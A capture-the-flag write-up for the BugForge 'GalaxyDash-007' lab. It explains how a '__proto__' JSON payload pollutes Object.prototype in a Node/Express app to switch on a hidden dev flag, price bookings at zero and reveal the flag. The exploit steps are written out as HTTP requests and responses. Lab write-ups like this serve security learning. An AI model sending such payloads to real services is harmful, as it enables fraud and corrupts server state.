GalaxyDash-007 - Prototype Pollution Via Hidden Dev Property
by Shawn Szczepkowski
Lab: BugForge - GalaxyDash-007
Category: Prototype Pollution
Distinguisher: __proto__ pollution via org update sets dev flag → zero-cost bookings → flag in invoice
Summary
The GalaxyDash B2B delivery app includes a hidden dev feature flag. The flag was discovered because the Organization Settings page sends "dev":false in its PUT /api/organization request body — exposing a parameter the UI never displays and the API never returns. Direct mass assignment of dev is blocked by server-side field whitelisting, but the JSON body parser is vulnerable to prototype pollution via __proto__. Polluting Object.prototype.dev = true causes the server-side pricing logic to evaluate dev as truthy on the organization object, pricing bookings at $0.00. The resulting invoice contains the flag.
Reconnaissance
Hidden dev Parameter
Intercepting the normal PUT /api/organization request from the Organization Settings page reveals a dev field hardcoded to false in the request body:
{"name":"test org","business_type":"General","headquarters_planet":"Earth",
"headquarters_address":"123 test st","contact_email":"test@test.com",
"contact_phone":"+GALAXY-123","dev":false}
This field has no corresponding UI element — no toggle, no checkbox, no display anywhere in the app. The GET /api/organization response never includes a dev property. The frontend silently sends dev:false on every org save, actively suppressing any value that might be set.
If we take a look at the labs JavaScript we can actually see what the dev property is doing:
..snip..
),(0,dr.jsxs)("span",{children:[null!==t&&void 0!==t&&t.dev?"0.00":d.total.toFixed(2),"\u20b5"]})]
..snip..
- If the organization has the
devproperty, then pricing will be set to0.00
Mass Assignment Attempts (Failed)
Direct assignment of dev was attempted across all writable endpoints and data types:
| Endpoint | Payloads tested | Result |
|---|---|---|
PUT /api/organization |
"dev":true, 1, "true", "1", "yes", [true], null |
200 OK but dev never persists |
POST /api/register |
"dev":true, 1, "true", nested, proto |
No effect on org |
PUT /api/team/:id |
"dev":true, inside permissions, role manipulation |
No effect |
Alternative field names (is_dev, mode, plan, tier, developer, testing, account_type) were also tested — none accepted.
Hidden endpoint fuzzing (114 paths across GET/POST/PUT/PATCH) returned either 200 (SPA catch-all) or 404 — no undocumented API routes exist.
The backend whitelists known fields for the SQL UPDATE — dev as a top-level property is simply ignored.
Confirming Prototype Pollution
Content-Type Switch — Database Error
Sending the org update as application/x-www-form-urlencoded instead of JSON triggered a 500 error, indicating the backend doesn’t handle alternative content types gracefully and likely passes parsed body data directly into queries with minimal validation.
Proof of Pollution — Status Code Override
Sending __proto__ with a status property:
PUT /api/organization
Content-Type: application/json
{"name":"test org","business_type":"General","headquarters_planet":"Earth",
"headquarters_address":"123 test st","contact_email":"test@test.com",
"contact_phone":"+GALAXY-123","__proto__":{"status":510}}
Response: 200 OK (update succeeds normally).
Then triggering an error in the same Node.js process by sending malformed JSON:
PUT /api/organization
Content-Type: application/json
{
Response:
HTTP/2 510 Not Extended
The Express error handler inherited status: 510 from Object.prototype. This confirmed the JSON body parser uses a vulnerable recursive merge that assigns __proto__ properties to the global prototype rather than treating __proto__ as a regular key.
Exploitation
Step 1 — Register and authenticate
POST /api/register
Content-Type: application/json
{"username":"test","email":"test@test.com","password":"test123",
"full_name":"test","org_name":"test org","business_type":"General",
"headquarters_planet":"Earth","headquarters_address":"123 test st",
"contact_email":"","contact_phone":"+GALAXY-123","tax_id":"abc123"}
Step 2 — Pollute the prototype with dev: true
PUT /api/organization
Authorization: Bearer <token>
Content-Type: application/json
{"name":"test org","business_type":"General","headquarters_planet":"Earth",
"headquarters_address":"123 test st","contact_email":"test@test.com",
"contact_phone":"+GALAXY-123","__proto__":{"dev":true}}
Response: 200 OK — {"message":"Organization updated successfully"}
The dev property is now on Object.prototype. It will not appear in GET /api/organization (inherited, not own — JSON.stringify skips prototype properties), but any server-side code checking obj.dev or obj?.dev resolves to true via prototype chain lookup.
Log out and log back in with that user. This will ensure the users properties are updated.
Step 3 — Create a booking
POST /api/bookings
Authorization: Bearer <token>
Content-Type: application/json
{"origin_location_id":1,"destination_location_id":"3","cargo_size":"medium",
"cargo_weight_kg":500,"cargo_description":"","danger_level":0,
"has_insurance":false,"has_premium_tracking":false,"service_id":3,
"total_price":375,"calculated_risk_percent":2.5,
"estimated_delivery_minutes":1440}
Response: 200 OK — {"id":1,"message":"Booking created successfully",...}
The server-side pricing logic sees dev as truthy (inherited from Object.prototype) and prices the booking at $0.00.
Step 4 — Retrieve the invoice (contains flag)
GET /api/invoices/1
Authorization: Bearer <token>
Response:
{
"invoice_number": "bug{7gCTzGSq2gt2RNmNTexkD3DFyjdcpgZn}",
"booking_id": "1",
"organization": {
"name": "test org",
"address": "123 test st",
"tax_id": "ORG-12345"
},
"line_items": [
{
"description": "Standard Route 🚀: New New York (Earth) → Los Angeles Ruins (Earth)",
"quantity": 1,
"unit_price": 0,
"total": 0
}
],
"subtotal": "0.00",
"tax": "0.00",
"total": "0.00",
"issued_date": "2026-04-05T20:07:31.910Z",
"status": "pending"
}
Flag: bug{7gCTzGSq2gt2RNmNTexkD3DFyjdcpgZn}
Key Observations
- The
devparameter was exposed by the frontend sending"dev":falsein the PUT body — a hidden field with no UI representation and no API response inclusion - The Organization Settings form resets
devtofalseon every UI save, meaning normal app usage actively suppresses the flag - Direct mass assignment is blocked — the backend whitelists fields for the SQL UPDATE, ignoring unknown top-level properties like
dev - The 510 status code test was the breakthrough confirming prototype pollution was viable before attempting
dev - The pollution is process-level —
Object.prototype.dev = truepersists across requests until the Node.js process restarts
Tags
#bugforge #galaxydash #prototype-pollution #mass-assignment #express #nodejs #dev-flag #invoice #b2b